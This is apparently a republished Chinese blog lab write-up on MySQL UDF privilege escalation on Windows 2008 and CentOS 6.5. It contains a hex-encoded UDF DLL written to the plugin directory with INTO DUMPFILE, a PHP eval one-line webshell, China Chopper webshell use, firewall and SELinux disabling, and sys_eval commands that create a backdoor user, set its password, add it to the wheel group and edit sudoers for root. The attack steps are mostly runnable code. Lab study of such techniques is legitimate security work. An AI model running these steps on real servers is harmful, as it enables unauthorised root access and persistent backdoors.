Mysql数据库提权——UDF提权

实验原理:UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数),要想利用udf,                    必须上传udf.dll作为udf的执行库,mysql中支持UDF扩展 ,使得我们可以调用DLL里面的函数来实现一些特殊的功能

实验条件 :1.具有mysql的root权限,且mysql以system权限运行

                   2.具有执行sql语句的权限,webshell或者外连皆可 

                   3.web服务器iis、php、mysql单独安装     

实验环境:win2008、Centos6.5

实验步骤:

实验一:win2008-UDF提权

一、搭建环境

安装iis服务器,php、Mysql5.5.15

二、进行UFD提权

1.利用菜刀连接,点击数据库管理,对数据库进行配置(密码一般在config类得配置文件中)

2.上传二进制的UDF

上传地址:

 mysql版本<5.1,UDF导出到系统目录c:/windows/system32
 mysql版本>5.1,UDF导出到安装路径Mysql\lib\Plugin

输show variables like '%plugin%'直接查看安装目录为:C:/Program Files/MySQL/MySQL Server /5.5/lib/Plugin

获取UDF

在菜刀的mysql输select unhex('十六进制的UDF')into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll';上传UDF到安装目录,并查看

select unhex('4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE002753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into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.5\\lib\\plugin\\udf.dll';

上传成功:

3.创建用户自定义函数:create function sys_eval returns string soname 'udf.dll'

4.执行系统命令

5.创建新用户,并将新用户添加到管理员组

6.查看用户信息

7.之后操作和windows提权一样

实验二:Linux-mysql UDF提权

一、修改mysql的配置文件

1.linux中mysql默认是以mysql用户运行,相对比较安全(为了完成实验,将mysql用户修改为root用户)

/etc/my.cnf,修改第四行的user=root

2.ssh远程连接Centos,安装服务:yum -y install httpd php mysql-server php-mysql

3.关闭防火墙service iptaables stop,关闭selinux:setenforce 0

4.开启服务:service httpd start与  service mysqld start

5.在var\www\html中写一个一句话木马php文件: vim yjh.php   <?php @eval($_REQUEST[666]);?>

6.菜刀连接:点击数据库管理

7.查看数据库版本:select version();  为5.1.73

8.获取路径:show variables like '%plugin%'  为 /usr/lib64/mysql/plugin

8.获取UDF

sqlmap\data\udf下的so_文件,复制到sqlmap\extra\cloak,命令行输入python cloak.py -d -i lib_mysqludf_sys.so_即可得到

9.上传UDF:select unhex('十六进制')into dumpfile "/usr/lib64/mysql/plugin/udf.so";

select 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into dumpfile "/usr/lib64/mysql/plugin/udf.so"

上传成功

10.创造函数:create function sys_eval returns string soname 'udf.so'

11.执行系统命令:SELECT sys_eval("id")

12.创建新用户:select sys_eval("useradd cxr")

修改用户的密码:select sys_eval("echo '123456' | passwd cxr --stdin")

将用户添加导购管理员组:select sys_eval("gpasswd -a cxr wheel")

13.之后去掉etc/sudoers里105行的wheel前的#(可使用覆盖形式),即可执行root权限

发布了63 篇原创文章 · 获赞 75 · 访问量 3858

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转载自blog.csdn.net/cxrpty/article/details/104807306